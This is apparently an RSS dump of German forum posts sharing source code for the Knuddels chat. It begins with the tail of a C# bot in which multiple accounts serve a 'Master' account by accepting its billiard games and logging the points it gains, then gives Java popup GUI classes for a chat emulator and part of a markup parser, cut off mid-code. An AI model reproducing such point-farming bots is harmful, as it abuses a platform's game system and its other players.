                            break;<br />
                        case &quot;i&quot;:<br />
                            game = tokens&#91;3&#93;;<br />
                            Send(String.Format(&quot;b\0{0}\0h&quot;, game));<br />
                            break;<br />
                    }<br />
<br />
                    break;<br />
                case &quot;a&quot;:<br />
                    if (tokens&#91;1&#93;.Equals(channel))<br />
                    {<br />
                        nickname = tokens&#91;2&#93;;<br />
                        Simulator.Get().Log(nickname, &quot;Eingeloggt.&quot;);<br />
                        SendMessage(&quot;/billard j:+Spiel eröffnen&quot;, channel);<br />
                    }<br />
<br />
                    break;<br />
                case &quot;k&quot;:<br />
                    token = token.Substring(2);<br />
                    tokens = token.Split('\xF5');<br />
<br />
                    switch (tokens&#91;0&#93;)<br />
                    {<br />
                        case &quot;Problem&quot;:<br />
                            Simulator.Get().RemovePlayer(this);<br />
                            Simulator.Get().Log(nickname, &quot;Login fehlgeschlagen.&quot;);<br />
                            break;<br />
                        case &quot;Neues Spiel - 9-Ball&quot;:<br />
                            Send(String.Format(&quot;b\0{0}\0 Anlegen \0Standard\01\01\01\0lang\00\00\01\01\00\00\0&quot;, tokens&#91;2&#93;));<br />
                            Simulator.Get().Log(nickname, String.Format(&quot;Spiel eröffnet: {0}.&quot;, tokens&#91;2&#93;.Split('|')&#91;0&#93;));<br />
                            break;<br />
                        case &quot;Billard - Frage&quot;:<br />
                            if (token.Contains(&quot;mitspielen.##Einverstanden?&quot;))<br />
                            {<br />
                                String nick = Regex.Match(token, &quot;°&gt;_h(&#91;^\\|&#93;+)&quot;).Groups&#91;1&#93;.Value.Replace(&quot;\&quot;, String.Empty);<br />
<br />
                                if (nick.Equals(Simulator.Get().GetMaster().getNickname()))<br />
                                {<br />
                                    request = tokens&#91;2&#93;;<br />
                                    Simulator.Get().Log(nickname, &quot;Master hat um Spielerlaubnis gebeten.&quot;);<br />
                                    Simulator.Get().IncreaseRequests();<br />
                                }<br />
                                else<br />
                                {<br />
                                    Simulator.Get().Log(nickname, String.Format(&quot;Anfrage um Spielerlaubnis von {0} ignoriert.&quot;, nick));<br />
                                }<br />
                            }<br />
                            else<br />
                            {<br />
                                Send(String.Format(&quot;{0}\0{1}\0  Ja  \0&quot;, tokens&#91;1&#93;.Substring(1), tokens&#91;2&#93;));<br />
                                Simulator.Get().Log(nickname, &quot;Spiel gestartet.&quot;);<br />
                            }<br />
<br />
                            break;<br />
                    }<br />
<br />
                    break;<br />
                case &quot;t&quot;:<br />
                    if (tokens.Length &gt; 3)<br />
                    {<br />
                        Match match = Regex.Match(tokens&#91;3&#93;, &quot;°&gt;_h(.+)\\|/serverpp &quot;\\|/w &quot;&lt;° erhält (\\d+) Billard-Punkte&quot;);<br />
                        String points = match.Groups&#91;2&#93;.Value;<br />
<br />
                        if (!points.Equals(String.Empty))<br />
                        {<br />
                            String nick = match.Groups&#91;1&#93;.Value.Replace(&quot;\&quot;, String.Empty).Replace(Simulator.Get().GetMaster().getNickname(), &quot;Master&quot;);<br />
                            Simulator.Get().Log(nickname, String.Format(&quot;{0} hat {1} Punkte abgesahnt.&quot;, nick, points));<br />
                        }<br />
                    }<br />
<br />
                    break;<br />
            }<br />
        }<br />
<br />
        public override void OnDisconnect()<br />
        {<br />
            if (Simulator.Get().GetPlayers().Contains(this))<br />
            {<br />
                Simulator.Get().RemovePlayer(this);<br />
                Simulator.Get().Log(nickname, &quot;Verbindung unterbrochen.&quot;);<br />
            }<br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script>Es gibt noch eine weitere Datei, Simulator.cs, die stell ich euch aber genau wie die komplette Projektmappe nicht zur Verfügung, da sie keine für den Bot relevanten Informationene beinhaltet. Ich will ja nicht, dass ihr den Bot kopiert und euch dann ein Keks freut wenn ihr meinen Namen durch euren ersetzt, ihr sollt ja auch was dabei lernen.<br />
<br />
Edit: Extra für die Admins zur Verfügung gestellt, können die sich mal anschauen wie der Channel Bug funktioniert und was dagegen tun. :D</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-multi-billard-simulator-31030</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Popup]]></title>
			<link>sourcecode-91/java-popup-31547?goto=newpost</link>
			<pubDate>Fri, 15 Apr 2011 03:22:59 GMT</pubDate>
			<description>Ist ein Snippet aus meinem Emulator, kann aber auch Client seitig genutzt werden. Ihr benötigt die PacketBuilder Klasse, hab ich hier aber auch schon...</description>
			<content:encoded><![CDATA[<div>Ist ein Snippet aus meinem Emulator, kann aber auch Client seitig genutzt werden. Ihr benötigt die PacketBuilder Klasse, hab ich hier aber auch schon released.<br />
<br />
<b>ComponentType.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/* Banana-Chat - The first Open Source Knuddels Emulator<br />
&nbsp;* Copyright (C) 2011&nbsp; Flav &lt;http://www.banana-coding.com&gt;<br />
&nbsp;*<br />
&nbsp;* This program is free software: you can redistribute it and/or modify<br />
&nbsp;* it under the terms of the GNU General Public License as published by<br />
&nbsp;* the Free Software Foundation, either version 3 of the License, or<br />
&nbsp;* (at your option) any later version.<br />
&nbsp;*<br />
&nbsp;* This program is distributed in the hope that it will be useful,<br />
&nbsp;* but WITHOUT ANY WARRANTY; without even the implied warranty of<br />
&nbsp;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&nbsp; See the<br />
&nbsp;* GNU General Public License for more details.<br />
&nbsp;*<br />
&nbsp;* You should have received a copy of the GNU General Public License<br />
&nbsp;* along with this program.&nbsp; If not, see &lt;http://www.gnu.org/licenses/&gt;.<br />
&nbsp;*/<br />
<br />
package tools.popup;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public enum ComponentType {<br />
&nbsp; &nbsp; BUTTON('b'),<br />
&nbsp; &nbsp; TEXT_FIELD('f'),<br />
&nbsp; &nbsp; LABEL('l'),<br />
&nbsp; &nbsp; TEXT_AREA('t');<br />
<br />
&nbsp; &nbsp; private int type;<br />
<br />
&nbsp; &nbsp; private ComponentType(int type) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.type = type;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public int getValue() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return type;<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div><b>Component.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/* Banana-Chat - The first Open Source Knuddels Emulator<br />
&nbsp;* Copyright (C) 2011&nbsp; Flav &lt;http://www.banana-coding.com&gt;<br />
&nbsp;*<br />
&nbsp;* This program is free software: you can redistribute it and/or modify<br />
&nbsp;* it under the terms of the GNU General Public License as published by<br />
&nbsp;* the Free Software Foundation, either version 3 of the License, or<br />
&nbsp;* (at your option) any later version.<br />
&nbsp;*<br />
&nbsp;* This program is distributed in the hope that it will be useful,<br />
&nbsp;* but WITHOUT ANY WARRANTY; without even the implied warranty of<br />
&nbsp;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&nbsp; See the<br />
&nbsp;* GNU General Public License for more details.<br />
&nbsp;*<br />
&nbsp;* You should have received a copy of the GNU General Public License<br />
&nbsp;* along with this program.&nbsp; If not, see &lt;http://www.gnu.org/licenses/&gt;.<br />
&nbsp;*/<br />
<br />
package tools.popup;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public interface Component {<br />
&nbsp; &nbsp; public ComponentType getType();<br />
&nbsp; &nbsp; public int[] getForeground();<br />
&nbsp; &nbsp; public void setForeground(int[] foreground);<br />
&nbsp; &nbsp; public int[] getBackground();<br />
&nbsp; &nbsp; public void setBackground(int[] background);<br />
&nbsp; &nbsp; public String getText();<br />
}</code><hr />
</div><b>Button.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/* Banana-Chat - The first Open Source Knuddels Emulator<br />
&nbsp;* Copyright (C) 2011&nbsp; Flav &lt;http://www.banana-coding.com&gt;<br />
&nbsp;*<br />
&nbsp;* This program is free software: you can redistribute it and/or modify<br />
&nbsp;* it under the terms of the GNU General Public License as published by<br />
&nbsp;* the Free Software Foundation, either version 3 of the License, or<br />
&nbsp;* (at your option) any later version.<br />
&nbsp;*<br />
&nbsp;* This program is distributed in the hope that it will be useful,<br />
&nbsp;* but WITHOUT ANY WARRANTY; without even the implied warranty of<br />
&nbsp;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&nbsp; See the<br />
&nbsp;* GNU General Public License for more details.<br />
&nbsp;*<br />
&nbsp;* You should have received a copy of the GNU General Public License<br />
&nbsp;* along with this program.&nbsp; If not, see &lt;http://www.gnu.org/licenses/&gt;.<br />
&nbsp;*/<br />
<br />
package tools.popup;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class Button implements Component {<br />
&nbsp; &nbsp; private int[] foreground, background;<br />
&nbsp; &nbsp; private String text;<br />
&nbsp; &nbsp; private boolean styled, colored;<br />
&nbsp; &nbsp; private boolean close;<br />
&nbsp; &nbsp; private boolean action;<br />
&nbsp; &nbsp; private String command;<br />
<br />
&nbsp; &nbsp; public Button(String text) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; foreground = new int[] { 0x00, 0x00, 0x00 };<br />
&nbsp; &nbsp; &nbsp; &nbsp; background = new int[] { 0xBE, 0xBC, 0xFB };<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.text = text;<br />
&nbsp; &nbsp; &nbsp; &nbsp; styled = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; close = true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; action = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; command = null;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public ComponentType getType() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return ComponentType.BUTTON;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public int[] getForeground() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return foreground;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setForeground(int[] foreground) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.foreground = foreground;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public int[] getBackground() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return background;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setBackground(int[] background) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.background = background;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public String getText() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return text;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public boolean isStyled() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return styled;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public boolean isColored() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return colored;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setStyled(boolean colored) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; styled = true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.colored = colored;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public boolean isClose() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return close;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void disableClose() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; close = false;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public boolean isAction() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return action;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void enableAction() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; action = true;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public String getCommand() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return command;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setCommand(String command) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.command = command;<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div><b>TextField.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/* Banana-Chat - The first Open Source Knuddels Emulator<br />
&nbsp;* Copyright (C) 2011&nbsp; Flav &lt;http://www.banana-coding.com&gt;<br />
&nbsp;*<br />
&nbsp;* This program is free software: you can redistribute it and/or modify<br />
&nbsp;* it under the terms of the GNU General Public License as published by<br />
&nbsp;* the Free Software Foundation, either version 3 of the License, or<br />
&nbsp;* (at your option) any later version.<br />
&nbsp;*<br />
&nbsp;* This program is distributed in the hope that it will be useful,<br />
&nbsp;* but WITHOUT ANY WARRANTY; without even the implied warranty of<br />
&nbsp;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&nbsp; See the<br />
&nbsp;* GNU General Public License for more details.<br />
&nbsp;*<br />
&nbsp;* You should have received a copy of the GNU General Public License<br />
&nbsp;* along with this program.&nbsp; If not, see &lt;http://www.gnu.org/licenses/&gt;.<br />
&nbsp;*/<br />
<br />
package tools.popup;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class TextField implements Component {<br />
&nbsp; &nbsp; private int[] foreground, background;<br />
&nbsp; &nbsp; private String text;<br />
&nbsp; &nbsp; private byte width;<br />
<br />
&nbsp; &nbsp; public TextField(int width) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; foreground = new int[] { 0x00, 0x00, 0x00 };<br />
&nbsp; &nbsp; &nbsp; &nbsp; background = new int[] { 0xFF, 0xFF, 0xFF };<br />
&nbsp; &nbsp; &nbsp; &nbsp; text = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.width = (byte) width;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public ComponentType getType() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return ComponentType.TEXT_FIELD;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public int[] getForeground() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return foreground;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setForeground(int[] foreground) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.foreground = foreground;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public int[] getBackground() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return background;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setBackground(int[] background) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.background = background;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public String getText() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return text;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setText(String text) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.text = text;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public byte getWidth() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return width;<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div><b>Label.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/* Banana-Chat - The first Open Source Knuddels Emulator<br />
&nbsp;* Copyright (C) 2011&nbsp; Flav &lt;http://www.banana-coding.com&gt;<br />
&nbsp;*<br />
&nbsp;* This program is free software: you can redistribute it and/or modify<br />
&nbsp;* it under the terms of the GNU General Public License as published by<br />
&nbsp;* the Free Software Foundation, either version 3 of the License, or<br />
&nbsp;* (at your option) any later version.<br />
&nbsp;*<br />
&nbsp;* This program is distributed in the hope that it will be useful,<br />
&nbsp;* but WITHOUT ANY WARRANTY; without even the implied warranty of<br />
&nbsp;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&nbsp; See the<br />
&nbsp;* GNU General Public License for more details.<br />
&nbsp;*<br />
&nbsp;* You should have received a copy of the GNU General Public License<br />
&nbsp;* along with this program.&nbsp; If not, see &lt;http://www.gnu.org/licenses/&gt;.<br />
&nbsp;*/<br />
<br />
package tools.popup;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class Label implements Component {<br />
&nbsp; &nbsp; private int[] foreground, background;<br />
&nbsp; &nbsp; private String text;<br />
<br />
&nbsp; &nbsp; public Label(String text) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; foreground = new int[] { 0x00, 0x00, 0x00 };<br />
&nbsp; &nbsp; &nbsp; &nbsp; background = new int[] { 0xBE, 0xBC, 0xFB };<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.text = text;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public ComponentType getType() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return ComponentType.LABEL;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public int[] getForeground() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return foreground;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setForeground(int[] foreground) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.foreground = foreground;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public int[] getBackground() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return background;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setBackground(int[] background) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.background = background;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public String getText() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return text;<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div><b>TextArea.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/* Banana-Chat - The first Open Source Knuddels Emulator<br />
&nbsp;* Copyright (C) 2011&nbsp; Flav &lt;http://www.banana-coding.com&gt;<br />
&nbsp;*<br />
&nbsp;* This program is free software: you can redistribute it and/or modify<br />
&nbsp;* it under the terms of the GNU General Public License as published by<br />
&nbsp;* the Free Software Foundation, either version 3 of the License, or<br />
&nbsp;* (at your option) any later version.<br />
&nbsp;*<br />
&nbsp;* This program is distributed in the hope that it will be useful,<br />
&nbsp;* but WITHOUT ANY WARRANTY; without even the implied warranty of<br />
&nbsp;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&nbsp; See the<br />
&nbsp;* GNU General Public License for more details.<br />
&nbsp;*<br />
&nbsp;* You should have received a copy of the GNU General Public License<br />
&nbsp;* along with this program.&nbsp; If not, see &lt;http://www.gnu.org/licenses/&gt;.<br />
&nbsp;*/<br />
<br />
package tools.popup;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class TextArea implements Component {<br />
&nbsp; &nbsp; private int[] foreground, background;<br />
&nbsp; &nbsp; private String text;<br />
&nbsp; &nbsp; private boolean editable;<br />
&nbsp; &nbsp; private byte scrollbars;<br />
&nbsp; &nbsp; private byte rows, columns;<br />
<br />
&nbsp; &nbsp; public TextArea(int rows, int columns) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; foreground = new int[] { 0x00, 0x00, 0x00 };<br />
&nbsp; &nbsp; &nbsp; &nbsp; background = new int[] { 0xFF, 0xFF, 0xFF };<br />
&nbsp; &nbsp; &nbsp; &nbsp; text = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; editable = true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; scrollbars = 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.rows = (byte) rows;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.columns = (byte) columns;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public ComponentType getType() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return ComponentType.TEXT_AREA;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public int[] getForeground() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return foreground;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setForeground(int[] foreground) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.foreground = foreground;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public int[] getBackground() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return background;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setBackground(int[] background) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.background = background;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public String getText() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return text;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setText(String text) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.text = text;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public boolean isEditable() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return editable;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void disable() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; editable = false;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public byte getScrollbars() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return scrollbars;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setScrollbars(int scrollbars) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.scrollbars = (byte) scrollbars;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public byte getRows() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return rows;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public byte getColumns() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return columns;<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div><b>Panel.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/* Banana-Chat - The first Open Source Knuddels Emulator<br />
&nbsp;* Copyright (C) 2011&nbsp; Flav &lt;http://www.banana-coding.com&gt;<br />
&nbsp;*<br />
&nbsp;* This program is free software: you can redistribute it and/or modify<br />
&nbsp;* it under the terms of the GNU General Public License as published by<br />
&nbsp;* the Free Software Foundation, either version 3 of the License, or<br />
&nbsp;* (at your option) any later version.<br />
&nbsp;*<br />
&nbsp;* This program is distributed in the hope that it will be useful,<br />
&nbsp;* but WITHOUT ANY WARRANTY; without even the implied warranty of<br />
&nbsp;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&nbsp; See the<br />
&nbsp;* GNU General Public License for more details.<br />
&nbsp;*<br />
&nbsp;* You should have received a copy of the GNU General Public License<br />
&nbsp;* along with this program.&nbsp; If not, see &lt;http://www.gnu.org/licenses/&gt;.<br />
&nbsp;*/<br />
<br />
package tools.popup;<br />
<br />
import java.util.ArrayList;<br />
import java.util.List;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class Panel {<br />
&nbsp; &nbsp; private List&lt;Component&gt; components;<br />
<br />
&nbsp; &nbsp; public Panel() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; components = new ArrayList&lt;Component&gt;();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public List&lt;Component&gt; getComponents() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return components;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void addComponent(Component component) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; components.add(component);<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-popup-31547</guid>
		</item>
		<item>
			<title><![CDATA[[Java] KCodeParser]]></title>
			<link>sourcecode-91/java-kcodeparser-32129?goto=newpost</link>
			<pubDate>Sat, 02 Apr 2011 15:44:11 GMT</pubDate>
			<description>Da mein Emulator sowieso bald Open Source ist release ich schonmal den KCoderParser, einer der wichtigsten Tools des Emulators. Er macht...</description>
			<content:encoded><![CDATA[<div>Da mein Emulator sowieso bald Open Source ist release ich schonmal den KCoderParser, einer der wichtigsten Tools des Emulators. Er macht Zeilenumbrüche möglich und verhindert, dass &quot;einfache&quot; Chatter Links und Grafiken senden können.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class KCodeParser {<br />
&nbsp; &nbsp; public static String parse(String str, boolean filter, int maxLineBreaks, int minSize, int maxSize) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringBuilder ret = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringBuilder code = null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; boolean isCode = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; boolean escape = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; byte lineBreaks = 0;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; str.length(); i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char current = str.charAt(i);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (current == '°' &amp;&amp; !escape) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; isCode = !isCode;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (isCode) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (str.lastIndexOf('°') == i) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; code = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (filter &amp;&amp; !code.toString().isEmpty()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StringBuilder filtered = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StringBuilder rgb = null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; boolean isRGB = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String size;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int j = 0; j &lt; code.length(); j++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char c = code.charAt(j);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (isRGB) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (c == ']') {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!validateRGB(rgb.toString().split(&quot;,&quot;))) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; isRGB = false;<br />
